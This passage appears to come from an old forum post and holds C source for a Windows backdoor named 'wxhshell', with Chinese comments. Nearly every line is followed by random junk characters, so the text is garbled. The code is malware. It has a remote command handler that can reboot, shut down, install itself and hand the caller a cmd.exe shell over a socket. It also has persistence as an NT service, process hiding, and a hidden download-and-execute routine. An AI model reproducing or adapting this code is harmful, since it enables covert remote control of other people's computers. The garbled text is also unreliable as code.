      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bf {h\>q  
    break; /DxaKZ ;b  
  } s,&tD WU  
  // 安装 sFh mp  
  case 'i': { ~?l>QP|o  
    if(Install()) v<+5B5"1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8t4o}3>  
    else rVo0H.+N)`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =1qM`M   
    break; 2$G,pT1J  
    } vumA W*  
  // 卸载 #9Src\V  
  case 'r': { o Ho@rGU  
    if(Uninstall()) 9|y?jb5im  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;onhc*{lv  
    else i7N|p9O.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qX,T X 3  
    break; z"[}Sk  
    } rUJIf;Zwo  
  // 显示 wxhshell 所在路径 {ek a xSR  
  case 'p': { O7&6]/`  
    char svExeFile[MAX_PATH]; B.O &KRo  
    strcpy(svExeFile,"\n\r"); W|NT*g{;M  
      strcat(svExeFile,ExeFile); a!iG;:K   
        send(wsh,svExeFile,strlen(svExeFile),0); mU d['Z  
    break; ?]1_ 2\M  
    } (e,5 b  
  // 重启 a#Yo^"*1  
  case 'b': { /)Ga<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZboY]1L[j  
    if(Boot(REBOOT)) =t,}I\_^c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C"X; ,F<  
    else { Cp[{| U-?G  
    closesocket(wsh); xA?(n!{P  
    ExitThread(0); ((Jiv=%  
    } >m66j2(H*Z  
    break; _ML`Vh]  
    } @Kl'0>U  
  // 关机 uH"W07  
  case 'd': { "9>.,nzt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )21yD1"6  
    if(Boot(SHUTDOWN)) m]XG7:}V0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Vq&w`sW  
    else { vz{Z tE"  
    closesocket(wsh); m :M=De  
    ExitThread(0); -OvzEmI"  
    } w-2?|XvDmf  
    break; .(2Zoa  
    } VMa \?`fT  
  // 获取shell bUcq LV  
  case 's': { 3W <_J_[  
    CmdShell(wsh); CAs8=N#H%  
    closesocket(wsh); y9/x:n&]  
    ExitThread(0);  9hbn<Y  
    break; a,>`ab%>  
  } -Y?C1DbKz  
  // 退出 -chk\75  
  case 'x': { 3G r:.V9=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *=b# >//  
    CloseIt(wsh); Py}] {?  
    break; f`^\v  
    } |ORro r}  
  // 离开 J ~"h&>T  
  case 'q': { oZ CvEVUk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,)u7PMs  
    closesocket(wsh); L("zS%qr  
    WSACleanup(); 8Qwn  
    exit(1); :3oLGiL   
    break; # Vq"Cf  
        } o?T01t=  
  } z8 n=\xL  
  } A7eF.V&  
0\/cTNN  
  // 提示信息 Ei$@)qS/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  *|OP>N  
} /kK%}L_D  
  } ?H30  
C VyYV &U,  
  return; C;DR@'+q  
} s]lIDp}  
q3SYlL'a  
// shell模块句柄 AbXaxt/[g?  
int CmdShell(SOCKET sock) Hea76P5$P+  
{ ug?])nO.C  
STARTUPINFO si; z[E gMS!  
ZeroMemory(&si,sizeof(si)); . #7B10  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mW+QJ`3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W)OoHpdw  
PROCESS_INFORMATION ProcessInfo; dI$U{;t  
char cmdline[]="cmd"; ko Tb{UL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  ~[wh  
  return 0; JGZxNUr^  
} +DpiX&^h   
6`V2-zv$  
// 自身启动模式 li`4&<WGC  
int StartFromService(void) 3Mlwq'pzD  
{ vwc)d{ND  
typedef struct 7y/Pch  
{ fc,^H&  
  DWORD ExitStatus; VK~ OL  
  DWORD PebBaseAddress; "&@v[O)!xu  
  DWORD AffinityMask; &OXnZT3P  
  DWORD BasePriority; )9PP3"I  
  ULONG UniqueProcessId; eG F{.]  
  ULONG InheritedFromUniqueProcessId; 5VLJ:I?0O  
}   PROCESS_BASIC_INFORMATION; u`j9m @`  
8B|qNf `Yi  
PROCNTQSIP NtQueryInformationProcess; sy s6 V?  
"c'K8,+?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MT?;9ZV}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^o|Gx  
`H#G/zOr  
  HANDLE             hProcess; ~8htg8CZ`  
  PROCESS_BASIC_INFORMATION pbi; (mvzGXNz4  
/8s+eHn&%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3P&K<M#\  
  if(NULL == hInst ) return 0; R, J(]ew  
doj$chy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >axf_k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qgel^"t]i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X-mhz3Q&a  
3WTNWz#h  
  if (!NtQueryInformationProcess) return 0; {,Py%.vvR  
0>aAI3E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lY,dyNFHV  
  if(!hProcess) return 0; en1NFP  
Kx@Papn|6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w4"4(SR.  
/HiRbwQK#  
  CloseHandle(hProcess); 3r]m8Hp  
GK>.R<[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iW\Q>~0#_  
if(hProcess==NULL) return 0; kz UP   
K9@F1ccQ/  
HMODULE hMod; ~\ C.Nm  
char procName[255]; ^rP` . Z  
unsigned long cbNeeded; |+|q`SwJ  
E#T6rd P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e ; #"t  
)q>mt/,  
  CloseHandle(hProcess); [!Jd.zm  
.]IidsgM  
if(strstr(procName,"services")) return 1; // 以服务启动 SZ*Nr=X  
TSPFi0PP  
  return 0; // 注册表启动 lZI?k=rWv  
} m%[Ul@!V  
:I)WSXP9h  
// 主模块 = ;!$Qw4  
int StartWxhshell(LPSTR lpCmdLine) jJ B+UF=  
{ 42If/N?  
  SOCKET wsl; ! ,*4d $  
BOOL val=TRUE; 7E}.P1  
  int port=0; 6(9S'~*'R  
  struct sockaddr_in door; }r)T75_1  
3<L>BakD  
  if(wscfg.ws_autoins) Install(); Mjr19_.S  
*$4EXwt'  
port=atoi(lpCmdLine); GCEcg&s=\S  
: K#z~#n  
if(port<=0) port=wscfg.ws_port; C'a%piX  
p3N/"t&>  
  WSADATA data; At?]FjL6S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &E(KOfk#  
^#Ruw?D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <NVSF6`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Uql|32j  
  door.sin_family = AF_INET; U11bQ4ak  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C@7<0w  
  door.sin_port = htons(port); 9|}u"jJB%E  
eOdB<He36  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tzKIi_2  
closesocket(wsl); qVpV ZH!  
return 1; w}`TJijl  
} M zWVsV  
R[l9f8  
  if(listen(wsl,2) == INVALID_SOCKET) { x)h|!T=B~  
closesocket(wsl); 1_aUU,|.  
return 1; =jWcD{;1I}  
} RF,[1O-\O  
  Wxhshell(wsl); Z/p>>SCak  
  WSACleanup(); YH 5jvvOI  
vs`"BQYf  
return 0; )fRZ}7k:  
l4:5(1  
} DF>LN%a~  
6~t;&)6J  
// 以NT服务方式启动 9MI~yIt`L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a(qij&>  
{ hS?pc<~`#  
DWORD   status = 0; q3CcXYY  
  DWORD   specificError = 0xfffffff; m4=[e!  
&T i:IC%M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6w )mo)<X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fs:%L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zn=Ifz)#|  
  serviceStatus.dwWin32ExitCode     = 0; rQuozbBb  
  serviceStatus.dwServiceSpecificExitCode = 0; Q^|ZoJS  
  serviceStatus.dwCheckPoint       = 0; 1hz:AUH  
  serviceStatus.dwWaitHint       = 0; Q"@x,8xW  
Zs$Qo->F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s"7$SxMT  
  if (hServiceStatusHandle==0) return; q$<M2  
n.323tNY  
status = GetLastError(); h^)R}jy+f  
  if (status!=NO_ERROR) ['*{f(AI  
{ ,"@Tm01os  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *i=+["A  
    serviceStatus.dwCheckPoint       = 0; FK^JCs^  
    serviceStatus.dwWaitHint       = 0; <fZ?F=  
    serviceStatus.dwWin32ExitCode     = status; Ci}v+  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;`{PA !>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %/K'VE6pb  
    return; fW'@+<b  
  } /|)VO?*D  
Ji#"PE/Pt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \h#,qTE  
  serviceStatus.dwCheckPoint       = 0; g}vOp3 ^  
  serviceStatus.dwWaitHint       = 0; `2B,+ytW8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QXQ'QEG  
} e1EFZ,EcaO  
kPt] [1jo  
// 处理NT服务事件,比如:启动、停止 y,i ~w |4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BkH- d z  
{ &7}\mnhB  
switch(fdwControl) G<5i %@  
{ |9 Gng`)  
case SERVICE_CONTROL_STOP: &V$qIvN$  
  serviceStatus.dwWin32ExitCode = 0; JB_<Haj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &?#,rEw<x  
  serviceStatus.dwCheckPoint   = 0; mr4W2Z@L  
  serviceStatus.dwWaitHint     = 0; lJ'. 1Z&  
  { Q?Y\WD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gG 9e.++:  
  } %X--`91|u  
  return; 5Oa`1?C1  
case SERVICE_CONTROL_PAUSE: NB["U"1[^E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "5 /i  
  break; iq25|{1$  
case SERVICE_CONTROL_CONTINUE: &V.\Svm8]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .[@TC@W  
  break; }k`-n32)|  
case SERVICE_CONTROL_INTERROGATE: *tWZ.I<<  
  break; WT-BHB1  
}; )*b dG'}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Y4[YnkPE  
} d>RoH]K4  
Rr9K1io$)  
// 标准应用程序主函数 (.CEEWj%{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 86bRfW'  
{ )@IDmz>  
@scy v@5)F  
// 获取操作系统版本 X\z `S##kj  
OsIsNt=GetOsVer(); AM[#AZv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MR) *Xh  
?$ft3p}  
  // 从命令行安装 \~LwlOo%R  
  if(strpbrk(lpCmdLine,"iI")) Install(); ??'>kQ4  
hPb erc2  
  // 下载执行文件 q{fgsc8v\  
if(wscfg.ws_downexe) { 0TDc Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :c*_W /  
  WinExec(wscfg.ws_filenam,SW_HIDE); _F2 R x@Y  
} U)f;*{U  
d(=*@epjR  
if(!OsIsNt) { Y<x;-8)*  
// 如果时win9x,隐藏进程并且设置为注册表启动 #><P28m  
HideProc(); ]uikE2nn  
StartWxhshell(lpCmdLine); jHU5>Gt-}  
} ja<!_^h=At  
else GG9YAu  
  if(StartFromService()) p4Wy2.&Q  
  // 以服务方式启动 8)NQt$lWp  
  StartServiceCtrlDispatcher(DispatchTable); " h D6Z  
else EJ%Kr$51K  
  // 普通方式启动 \V1geSoE  
  StartWxhshell(lpCmdLine); 4 8}\  
Z4"SKsJT/>  
return 0; 1TOT}h5  
}
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只看该作者 1 发表于: 2006-10-10
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